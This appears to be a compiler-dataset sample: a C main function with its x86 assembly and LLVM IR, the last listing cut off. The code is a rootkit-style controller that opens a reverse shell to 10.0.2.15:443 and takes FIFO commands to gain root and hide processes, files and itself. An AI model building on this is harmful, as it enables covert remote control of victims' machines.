#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ action(int, int, int, char *, int, int, char *, int, int,
                          int, int);
int check_connection();
char *malloc(int);
int /*<<< orphan*/ mkfifo(char *, int);
int /*<<< orphan*/ parse_input(char *, char **, char **);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ read_from_pipe(char *, char *);
int /*<<< orphan*/ start_reverse_shell(char *, int);
scalar_t__ strcmp(char *, char *);
scalar_t__ strlen(char *);
int main(int argc, char **argv) {
  int online = check_connection();
  if (!online) {
    return 1;
  }
  char *pipe_name = "/tmp/grape_fifo";
  char pipe_buf[1024];
  char *arg1 = malloc(32);
  char *arg2 = malloc(256);
  mkfifo(pipe_name, 0666);
  action(1, 0, 0, NULL, 0, 0, NULL, 0, 0, 0, 0);
  start_reverse_shell("10.0.2.15", 443);
  while (1) {
    read_from_pipe(pipe_name, pipe_buf);
    printf("received %s\n", pipe_buf);
    parse_input(pipe_buf, &arg1, &arg2);
    printf("Arg1: %s, len: %d\n", arg1, (int)strlen(arg1));
    printf("Arg2: %s, len: %d\n", arg2, (int)strlen(arg2));
    if (strcmp(arg1, "root") == 0) {
      action(1, 0, 0, NULL, 0, 0, NULL, 0, 0, 0, 0);
    }
    if (strcmp(arg1, "touch") == 0) {
      printf("touching\n");
      mkfifo("/opt/test", 0666);
    }
    if (strcmp(arg1, "hpid") == 0) {
      printf("hpid\n");
      action(0, 1, 0, arg2, 0, 0, NULL, 0, 0, 0, 0);
    }
    if (strcmp(arg1, "unpid") == 0) {
      printf("unpid\n");
      action(0, 0, 1, arg2, 0, 0, NULL, 0, 0, 0, 0);
    }
    if (strcmp(arg1, "hfile") == 0) {
      printf("hfile\n");
      action(0, 0, 0, NULL, 1, 0, arg2, 0, 0, 0, 0);
    }
    if (strcmp(arg1, "unfile") == 0) {
      printf("unfile\n");
      action(0, 0, 0, NULL, 0, 1, arg2, 0, 0, 0, 0);
    }
    if (strcmp(arg1, "hide") == 0) {
      printf("hide\n");
      action(0, 0, 0, NULL, 0, 0, NULL, 1, 0, 0, 0);
    }
    if (strcmp(arg1, "unhide") == 0) {
      printf("unhide\n");
      action(0, 0, 0, NULL, 0, 0, NULL, 0, 1, 0, 0);
    }
    if (strcmp(arg1, "protect") == 0) {
      printf("protect\n");
      action(0, 0, 0, NULL, 0, 0, NULL, 0, 0, 1, 0);
    }
    if (strcmp(arg1, "unprotect") == 0) {
      printf("unprotect\n");
      action(0, 0, 0, NULL, 0, 0, NULL, 0, 0, 0, 1);
    }
    if (strcmp(arg1, "reverse") == 0) {
      printf("reverse\n");
      start_reverse_shell(arg2, 443);
    }
  }
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x470,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
mov    $0x0,%al
call   10b0 <check_connection@plt>
mov    %eax,-0x14(%rbp)
cmpl   $0x0,-0x14(%rbp)
jne    11db <main+0x3b>
mov    $0x1,%eax
add    $0x470,%rsp
pop    %rbp
ret
lea    0xe1e(%rip),%rax
mov    %rax,-0x20(%rbp)
mov    $0x20,%edi
call   10a0 <malloc@plt>
mov    %rax,-0x428(%rbp)
mov    $0x100,%edi
call   10a0 <malloc@plt>
mov    %rax,-0x430(%rbp)
mov    -0x20(%rbp),%rdi
mov    $0x1b6,%esi
call   1090 <mkfifo@plt>
mov    $0x1,%edi
xor    %r9d,%r9d
xor    %eax,%eax
mov    %eax,%ecx
mov    %r9d,%esi
mov    %r9d,%edx
mov    %r9d,%r8d
movq   $0x0,(%rsp)
movl   $0x0,0x8(%rsp)
movl   $0x0,0x10(%rsp)
movl   $0x0,0x18(%rsp)
movl   $0x0,0x20(%rsp)
call   10c0 <action@plt>
lea    0xdb1(%rip),%rdi
mov    $0x1bb,%esi
call   1030 <start_reverse_shell@plt>
mov    -0x20(%rbp),%rdi
lea    -0x420(%rbp),%rsi
call   1060 <read_from_pipe@plt>
lea    -0x420(%rbp),%rsi
lea    0xd93(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    -0x420(%rbp),%rdi
lea    -0x428(%rbp),%rsi
lea    -0x430(%rbp),%rdx
call   1080 <parse_input@plt>
mov    -0x428(%rbp),%rax
mov    %rax,-0x440(%rbp)
mov    -0x428(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x440(%rbp),%rsi
mov    %eax,%edx
lea    0xd55(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x430(%rbp),%rax
mov    %rax,-0x438(%rbp)
mov    -0x430(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x438(%rbp),%rsi
mov    %eax,%edx
lea    0xd37(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x428(%rbp),%rdi
lea    0xd35(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    1369 <main+0x1c9>
mov    $0x1,%edi
xor    %r9d,%r9d
xor    %eax,%eax
mov    %eax,%ecx
mov    %r9d,%esi
mov    %r9d,%edx
mov    %r9d,%r8d
movq   $0x0,(%rsp)
movl   $0x0,0x8(%rsp)
movl   $0x0,0x10(%rsp)
movl   $0x0,0x18(%rsp)
movl   $0x0,0x20(%rsp)
call   10c0 <action@plt>
mov    -0x428(%rbp),%rdi
lea    0xcdb(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    13a5 <main+0x205>
lea    0xccb(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
lea    0xcc7(%rip),%rdi
mov    $0x1b6,%esi
call   1090 <mkfifo@plt>
mov    -0x428(%rbp),%rdi
lea    0xcb9(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    1417 <main+0x277>
lea    0xca8(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x430(%rbp),%rcx
xor    %r9d,%r9d
mov    $0x1,%esi
xor    %eax,%eax
mov    %r9d,%edi
mov    %r9d,%edx
mov    %r9d,%r8d
movq   $0x0,(%rsp)
movl   $0x0,0x8(%rsp)
movl   $0x0,0x10(%rsp)
movl   $0x0,0x18(%rsp)
movl   $0x0,0x20(%rsp)
call   10c0 <action@plt>
mov    -0x428(%rbp),%rdi
lea    0xc52(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    1489 <main+0x2e9>
lea    0xc42(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x430(%rbp),%rcx
xor    %r9d,%r9d
mov    $0x1,%edx
xor    %eax,%eax
mov    %r9d,%edi
mov    %r9d,%esi
mov    %r9d,%r8d
movq   $0x0,(%rsp)
movl   $0x0,0x8(%rsp)
movl   $0x0,0x10(%rsp)
movl   $0x0,0x18(%rsp)
movl   $0x0,0x20(%rsp)
call   10c0 <action@plt>
mov    -0x428(%rbp),%rdi
lea    0xbed(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    14f8 <main+0x358>
lea    0xbdd(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x430(%rbp),%rax
xor    %r9d,%r9d
xor    %ecx,%ecx
mov    $0x1,%r8d
mov    %r9d,%edi
mov    %r9d,%esi
mov    %r9d,%edx
mov    %rax,(%rsp)
movl   $0x0,0x8(%rsp)
movl   $0x0,0x10(%rsp)
movl   $0x0,0x18(%rsp)
movl   $0x0,0x20(%rsp)
call   10c0 <action@plt>
mov    -0x428(%rbp),%rdi
lea    0xb8b(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    1567 <main+0x3c7>
lea    0xb7c(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x430(%rbp),%rax
xor    %r8d,%r8d
xor    %ecx,%ecx
mov    $0x1,%r9d
mov    %r8d,%edi
mov    %r8d,%esi
mov    %r8d,%edx
mov    %rax,(%rsp)
movl   $0x0,0x8(%rsp)
movl   $0x0,0x10(%rsp)
movl   $0x0,0x18(%rsp)
movl   $0x0,0x20(%rsp)
call   10c0 <action@plt>
mov    -0x428(%rbp),%rdi
lea    0xb2d(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    15d2 <main+0x432>
lea    0xb1e(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
xor    %r9d,%r9d
xor    %eax,%eax
mov    %eax,%ecx
mov    %r9d,%edi
mov    %r9d,%esi
mov    %r9d,%edx
mov    %r9d,%r8d
movq   $0x0,(%rsp)
movl   $0x1,0x8(%rsp)
movl   $0x0,0x10(%rsp)
movl   $0x0,0x18(%rsp)
movl   $0x0,0x20(%rsp)
call   10c0 <action@plt>
mov    -0x428(%rbp),%rdi
lea    0xac0(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    163d <main+0x49d>
lea    0xab1(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
xor    %r9d,%r9d
xor    %eax,%eax
mov    %eax,%ecx
mov    %r9d,%edi
mov    %r9d,%esi
mov    %r9d,%edx
mov    %r9d,%r8d
movq   $0x0,(%rsp)
movl   $0x0,0x8(%rsp)
movl   $0x1,0x10(%rsp)
movl   $0x0,0x18(%rsp)
movl   $0x0,0x20(%rsp)
call   10c0 <action@plt>
mov    -0x428(%rbp),%rdi
lea    0xa66(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    16a8 <main+0x508>
lea    0xa5a(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
xor    %r9d,%r9d
xor    %eax,%eax
mov    %eax,%ecx
mov    %r9d,%edi
mov    %r9d,%esi
mov    %r9d,%edx
mov    %r9d,%r8d
movq   $0x0,(%rsp)
movl   $0x0,0x8(%rsp)
movl   $0x0,0x10(%rsp)
movl   $0x1,0x18(%rsp)
movl   $0x0,0x20(%rsp)
call   10c0 <action@plt>
mov    -0x428(%rbp),%rdi
lea    0x9f9(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    1713 <main+0x573>
lea    0x9ed(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
xor    %r9d,%r9d
xor    %eax,%eax
mov    %eax,%ecx
mov    %r9d,%edi
mov    %r9d,%esi
mov    %r9d,%edx
mov    %r9d,%r8d
movq   $0x0,(%rsp)
movl   $0x0,0x8(%rsp)
movl   $0x0,0x10(%rsp)
movl   $0x0,0x18(%rsp)
movl   $0x1,0x20(%rsp)
call   10c0 <action@plt>
mov    -0x428(%rbp),%rdi
lea    0x9a3(%rip),%rsi
call   1070 <strcmp@plt>
cmp    $0x0,%rax
jne    174f <main+0x5af>
lea    0x995(%rip),%rdi
mov    $0x0,%al
call   1050 <printf@plt>
mov    -0x430(%rbp),%rdi
mov    $0x1bb,%esi
call   1030 <start_reverse_shell@plt>
jmp    1269 <main+0xc9>

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x418,%rsp
xor    %eax,%eax
call   10c0 <check_connection@plt>
test   %eax,%eax
je     15a5 <main+0x3f5>
mov    $0x20,%edi
call   10b0 <malloc@plt>
mov    %rax,(%rsp)
mov    $0x100,%edi
call   10b0 <malloc@plt>
mov    %rax,0x8(%rsp)
lea    0xe0c(%rip),%rdi
mov    $0x1b6,%esi
call   10a0 <mkfifo@plt>
sub    $0x8,%rsp
mov    $0x1,%edi
xor    %esi,%esi
xor    %edx,%edx
xor    %ecx,%ecx
xor    %r8d,%r8d
xor    %r9d,%r9d
push   $0x0
push   $0x0
push   $0x0
push   $0x0
push   $0x0
call   10d0 <action@plt>
add    $0x30,%rsp
lea    0xde3(%rip),%rdi
mov    $0x1bb,%esi
call   1030 <start_reverse_shell@plt>
lea    0x10(%rsp),%rbx
lea    0xe29(%rip),%r13
lea    0xe20(%rip),%r14
lea    0xe11(%rip),%r15
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax,%rax,1)
lea    0xd99(%rip),%rdi
mov    %rbx,%rsi
call   1070 <read_from_pipe@plt>
lea    0xda4(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1060 <printf@plt>
mov    %rbx,%rdi
mov    %rsp,%rsi
lea    0x8(%rsp),%rdx
call   1090 <parse_input@plt>
mov    (%rsp),%r12
mov    %r12,%rdi
call   1050 <strlen@plt>
lea    0xd84(%rip),%rdi
mov    %r12,%rsi
mov    %eax,%edx
xor    %eax,%eax
call   1060 <printf@plt>
mov    0x8(%rsp),%rbp
mov    %rbp,%rdi
call   1050 <strlen@plt>
lea    0xd77(%rip),%rdi
mov    %rbp,%rsi
mov    %eax,%edx
xor    %eax,%eax
call   1060 <printf@plt>
mov    (%rsp),%rdi
lea    0xd73(%rip),%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    130c <main+0x15c>
sub    $0x8,%rsp
mov    $0x1,%edi
xor    %esi,%esi
xor    %edx,%edx
xor    %ecx,%ecx
xor    %r8d,%r8d
xor    %r9d,%r9d
push   $0x0
push   $0x0
push   $0x0
push   $0x0
push   $0x0
call   10d0 <action@plt>
add    $0x30,%rsp
mov    (%rsp),%rdi
lea    0xd3b(%rip),%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    133e <main+0x18e>
lea    0xd6b(%rip),%rdi
call   1040 <puts@plt>
lea    0xd24(%rip),%rdi
mov    $0x1b6,%esi
call   10a0 <mkfifo@plt>
mov    (%rsp),%rdi
lea    0xd45(%rip),%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    138a <main+0x1da>
lea    0xd34(%rip),%rdi
call   1040 <puts@plt>
mov    0x8(%rsp),%rcx
sub    $0x8,%rsp
xor    %edi,%edi
mov    $0x1,%esi
xor    %edx,%edx
xor    %r8d,%r8d
xor    %r9d,%r9d
push   $0x0
push   $0x0
push   $0x0
push   $0x0
push   $0x0
call   10d0 <action@plt>
add    $0x30,%rsp
mov    (%rsp),%rdi
lea    0xcf3(%rip),%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    13d6 <main+0x226>
lea    0xce2(%rip),%rdi
call   1040 <puts@plt>
mov    0x8(%rsp),%rcx
sub    $0x8,%rsp
xor    %edi,%edi
xor    %esi,%esi
mov    $0x1,%edx
xor    %r8d,%r8d
xor    %r9d,%r9d
push   $0x0
push   $0x0
push   $0x0
push   $0x0
push   $0x0
call   10d0 <action@plt>
add    $0x30,%rsp
mov    (%rsp),%rdi
lea    0xca1(%rip),%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    1421 <main+0x271>
lea    0xc90(%rip),%rdi
call   1040 <puts@plt>
sub    $0x8,%rsp
xor    %edi,%edi
xor    %esi,%esi
xor    %edx,%edx
xor    %ecx,%ecx
mov    $0x1,%r8d
xor    %r9d,%r9d
push   $0x0
push   $0x0
push   $0x0
push   $0x0
push   0x30(%rsp)
call   10d0 <action@plt>
add    $0x30,%rsp
mov    (%rsp),%rdi
lea    0xc4f(%rip),%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    146c <main+0x2bc>
lea    0xc3e(%rip),%rdi
call   1040 <puts@plt>
sub    $0x8,%rsp
xor    %edi,%edi
xor    %esi,%esi
xor    %edx,%edx
xor    %ecx,%ecx
xor    %r8d,%r8d
mov    $0x1,%r9d
push   $0x0
push   $0x0
push   $0x0
push   $0x0
push   0x30(%rsp)
call   10d0 <action@plt>
add    $0x30,%rsp
mov    (%rsp),%rdi
lea    0xbff(%rip),%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    14b2 <main+0x302>
lea    0xbee(%rip),%rdi
call   1040 <puts@plt>
sub    $0x8,%rsp
xor    %edi,%edi
xor    %esi,%esi
xor    %edx,%edx
xor    %ecx,%ecx
xor    %r8d,%r8d
xor    %r9d,%r9d
push   $0x0
push   $0x0
push   $0x0
push   $0x1
push   $0x0
call   10d0 <action@plt>
add    $0x30,%rsp
mov    (%rsp),%rdi
lea    0xbb7(%rip),%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    14f8 <main+0x348>
lea    0xba6(%rip),%rdi
call   1040 <puts@plt>
sub    $0x8,%rsp
xor    %edi,%edi
xor    %esi,%esi
xor    %edx,%edx
xor    %ecx,%ecx
xor    %r8d,%r8d
xor    %r9d,%r9d
push   $0x0
push   $0x0
push   $0x1
push   $0x0
push   $0x0
call   10d0 <action@plt>
add    $0x30,%rsp
mov    (%rsp),%rdi
mov    %r13,%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    1536 <main+0x386>
mov    %r13,%rdi
call   1040 <puts@plt>
sub    $0x8,%rsp
xor    %edi,%edi
xor    %esi,%esi
xor    %edx,%edx
xor    %ecx,%ecx
xor    %r8d,%r8d
xor    %r9d,%r9d
push   $0x0
push   $0x1
push   $0x0
push   $0x0
push   $0x0
call   10d0 <action@plt>
add    $0x30,%rsp
mov    (%rsp),%rdi
mov    %r14,%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    1574 <main+0x3c4>
mov    %r14,%rdi
call   1040 <puts@plt>
sub    $0x8,%rsp
xor    %edi,%edi
xor    %esi,%esi
xor    %edx,%edx
xor    %ecx,%ecx
xor    %r8d,%r8d
xor    %r9d,%r9d
push   $0x1
push   $0x0
push   $0x0
push   $0x0
push   $0x0
call   10d0 <action@plt>
add    $0x30,%rsp
mov    (%rsp),%rdi
mov    %r15,%rsi
call   1080 <strcmp@plt>
test   %rax,%rax
jne    1260 <main+0xb0>
mov    %r15,%rdi
call   1040 <puts@plt>
mov    0x8(%rsp),%rdi
mov    $0x1bb,%esi
call   1030 <start_reverse_shell@plt>
jmp    1260 <main+0xb0>
mov    $0x1,%eax
add    $0x418,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@.str = [16 x i8] c"/tmp/grape_fifo\00"
@.str.1 = [10 x i8] c"10.0.2.15\00"
@.str.2 = [13 x i8] c"received %s\0A\00"
@.str.3 = [19 x i8] c"Arg1: %s, len: %d\0A\00"
@.str.4 = [19 x i8] c"Arg2: %s, len: %d\0A\00"
@.str.5 = [5 x i8] c"root\00"
@.str.6 = [6 x i8] c"touch\00"
@.str.7 = [10 x i8] c"touching\0A\00"
@.str.8 = [10 x i8] c"/opt/test\00"
@.str.9 = [5 x i8] c"hpid\00"
@.str.10 = [6 x i8] c"hpid\0A\00"
@.str.11 = [6 x i8] c"unpid\00"
@.str.12 = [7 x i8] c"unpid\0A\00"
@.str.13 = [6 x i8] c"hfile\00"
@.str.14 = [7 x i8] c"hfile\0A\00"
@.str.15 = [7 x i8] c"unfile\00"
@.str.16 = [8 x i8] c"unfile\0A\00"
@.str.17 = [5 x i8] c"hide\00"
@.str.18 = [6 x i8] c"hide\0A\00"
@.str.19 = [7 x i8] c"unhide\00"
@.str.20 = [8 x i8] c"unhide\0A\00"
@.str.21 = [8 x i8] c"protect\00"
@.str.22 = [9 x i8] c"protect\0A\00"
@.str.23 = [10 x i8] c"unprotect\00"
@.str.24 = [11 x i8] c"unprotect\0A\00"
@.str.25 = [8 x i8] c"reverse\00"
@.str.26 = [9 x i8] c"reverse\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i8*
%8 = alloca [1024 x i8]
%9 = alloca i8*
%10 = alloca i8*
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
%11 = call i32 (...) @check_connection()
store i32 %11, i32* %6
%12 = load i32, i32* %6
%13 = icmp ne i32 %12, 0
br i1 %13, label %15, label %14
14: ; preds = %2
ret i32 1
15: ; preds = %2
store i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0), i8** %7
%16 = call i8* @malloc(i32 32)
store i8* %16, i8** %9
%17 = call i8* @malloc(i32 256)
store i8* %17, i8** %10
%18 = load i8*, i8** %7
%19 = call i32 @mkfifo(i8* %18, i32 438)
%20 = call i32 @action(i32 1, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 0, i32 0, i32 0, i32 0)
%21 = call i32 @start_reverse_shell(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), i32 443)
br label %22
22: ; preds = %15, %120
%23 = load i8*, i8** %7
%24 = getelementptr inbounds [1024 x i8], [1024 x i8]* %8, i64 0, i64 0
%25 = call i32 @read_from_pipe(i8* %23, i8* %24)
%26 = getelementptr inbounds [1024 x i8], [1024 x i8]* %8, i64 0, i64 0
%27 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([13 x i8], [13 x i8]* @.str.2, i64 0, i64 0), i8* %26)
%28 = getelementptr inbounds [1024 x i8], [1024 x i8]* %8, i64 0, i64 0
%29 = call i32 @parse_input(i8* %28, i8** %9, i8** %10)
%30 = load i8*, i8** %9
%31 = load i8*, i8** %9
%32 = call i64 @strlen(i8* %31)
%33 = trunc i64 %32 to i32
%34 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.3, i64 0, i64 0), i8* %30, i32 %33)
%35 = load i8*, i8** %10
%36 = load i8*, i8** %10
%37 = call i64 @strlen(i8* %36)
%38 = trunc i64 %37 to i32
%39 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.4, i64 0, i64 0), i8* %35, i32 %38)
%40 = load i8*, i8** %9
%41 = call i64 @strcmp(i8* %40, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.5, i64 0, i64 0))
%42 = icmp eq i64 %41, 0
br i1 %42, label %43, label %45
43: ; preds = %22
%44 = call i32 @action(i32 1, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 0, i32 0, i32 0, i32 0)
br label %45
45: ; preds = %43, %22
%46 = load i8*, i8** %9
%47 = call i64 @strcmp(i8* %46, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.6, i64 0, i64 0))
%48 = icmp eq i64 %47, 0
br i1 %48, label %49, label %52
49: ; preds = %45
%50 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0))
%51 = call i32 @mkfifo(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.8, i64 0, i64 0), i32 438)
br label %52
52: ; preds = %49, %45
%53 = load i8*, i8** %9
%54 = call i64 @strcmp(i8* %53, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.9, i64 0, i64 0))
%55 = icmp eq i64 %54, 0
br i1 %55, label %56, label %60
56: ; preds = %52
%57 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.10, i64 0, i64 0))
%58 = load i8*, i8** %10
%59 = call i32 @action(i32 0, i32 1, i32 0, i8* %58, i32 0, i32 0, i8* null, i32 0, i32 0, i32 0, i32 0)
br label %60
60: ; preds = %56, %52
%61 = load i8*, i8** %9
%62 = call i64 @strcmp(i8* %61, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.11, i64 0, i64 0))
%63 = icmp eq i64 %62, 0
br i1 %63, label %64, label %68
64: ; preds = %60
%65 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.12, i64 0, i64 0))
%66 = load i8*, i8** %10
%67 = call i32 @action(i32 0, i32 0, i32 1, i8* %66, i32 0, i32 0, i8* null, i32 0, i32 0, i32 0, i32 0)
br label %68
68: ; preds = %64, %60
%69 = load i8*, i8** %9
%70 = call i64 @strcmp(i8* %69, i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.13, i64 0, i64 0))
%71 = icmp eq i64 %70, 0
br i1 %71, label %72, label %76
72: ; preds = %68
%73 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.14, i64 0, i64 0))
%74 = load i8*, i8** %10
%75 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 1, i32 0, i8* %74, i32 0, i32 0, i32 0, i32 0)
br label %76
76: ; preds = %72, %68
%77 = load i8*, i8** %9
%78 = call i64 @strcmp(i8* %77, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.15, i64 0, i64 0))
%79 = icmp eq i64 %78, 0
br i1 %79, label %80, label %84
80: ; preds = %76
%81 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.16, i64 0, i64 0))
%82 = load i8*, i8** %10
%83 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 0, i32 1, i8* %82, i32 0, i32 0, i32 0, i32 0)
br label %84
84: ; preds = %80, %76
%85 = load i8*, i8** %9
%86 = call i64 @strcmp(i8* %85, i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str.17, i64 0, i64 0))
%87 = icmp eq i64 %86, 0
br i1 %87, label %88, label %91
88: ; preds = %84
%89 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([6 x i8], [6 x i8]* @.str.18, i64 0, i64 0))
%90 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 1, i32 0, i32 0, i32 0)
br label %91
91: ; preds = %88, %84
%92 = load i8*, i8** %9
%93 = call i64 @strcmp(i8* %92, i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.19, i64 0, i64 0))
%94 = icmp eq i64 %93, 0
br i1 %94, label %95, label %98
95: ; preds = %91
%96 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.20, i64 0, i64 0))
%97 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 0, i32 1, i32 0, i32 0)
br label %98
98: ; preds = %95, %91
%99 = load i8*, i8** %9
%100 = call i64 @strcmp(i8* %99, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.21, i64 0, i64 0))
%101 = icmp eq i64 %100, 0
br i1 %101, label %102, label %105
102: ; preds = %98
%103 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.22, i64 0, i64 0))
%104 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 0, i32 0, i32 1, i32 0)
br label %105
105: ; preds = %102, %98
%106 = load i8*, i8** %9
%107 = call i64 @strcmp(i8* %106, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.23, i64 0, i64 0))
%108 = icmp eq i64 %107, 0
br i1 %108, label %109, label %112
109: ; preds = %105
%110 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.24, i64 0, i64 0))
%111 = call i32 @action(i32 0, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 0, i32 0, i32 0, i32 1)
br label %112
112: ; preds = %109, %105
%113 = load i8*, i8** %9
%114 = call i64 @strcmp(i8* %113, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.25, i64 0, i64 0))
%115 = icmp eq i64 %114, 0
br i1 %115, label %116, label %120
116: ; preds = %112
%117 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.26, i64 0, i64 0))
%118 = load i8*, i8** %10
%119 = call i32 @start_reverse_shell(i8* %118, i32 443)
br label %120
120: ; preds = %116, %112
br label %22
}

LLVM IR (-O2):
@.str = [16 x i8] c"/tmp/grape_fifo\00"
@.str.1 = [10 x i8] c"10.0.2.15\00"
@.str.2 = [13 x i8] c"received %s\0A\00"
@.str.3 = [19 x i8] c"Arg1: %s, len: %d\0A\00"
@.str.4 = [19 x i8] c"Arg2: %s, len: %d\0A\00"
@.str.5 = [5 x i8] c"root\00"
@.str.6 = [6 x i8] c"touch\00"
@.str.8 = [10 x i8] c"/opt/test\00"
@str = [8 x i8] c"reverse\00"
@str.27 = [10 x i8] c"unprotect\00"
@str.28 = [8 x i8] c"protect\00"
@str.29 = [7 x i8] c"unhide\00"
@str.30 = [5 x i8] c"hide\00"
@str.31 = [7 x i8] c"unfile\00"
@str.32 = [6 x i8] c"hfile\00"
@str.33 = [6 x i8] c"unpid\00"
@str.34 = [5 x i8] c"hpid\00"
@str.35 = [9 x i8] c"touching\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [1024 x i8]
%4 = alloca i8*
%5 = alloca i8*
%6 = tail call i32 (...) @check_connection()
%7 = icmp eq i32 %6, 0
br i1 %7, label %8, label %9
8: ; preds = %2
ret i32 1
9: ; preds = %2
%10 = getelementptr inbounds [1024 x i8], [1024 x i8]* %3, i64 0, i64 0
%11 = bitcast i8** %4 to i8*
%12 = tail call dereferenceable_or_null(32) i8* @malloc(i32 32)
store i8* %12, i8** %4
%13 = bitcast i8** %5 to i8*
%14 = tail call dereferenceable_or_null(256) i8* @malloc(i32 256)
store i8* %14, i8** %5
%15 = tail call i32 @mkfifo(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0), i32 438)
%16 = tail call i32 @action(i32 1, i32 0, i32 0, i8* null, i32 0, i32 0, i8* null, i32 0, i32 0, i32 0, i32 0)
%17 = tail call i32 @start_reverse_shell(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0), i32 443)
br label %18
18: ; preds = %110, %9
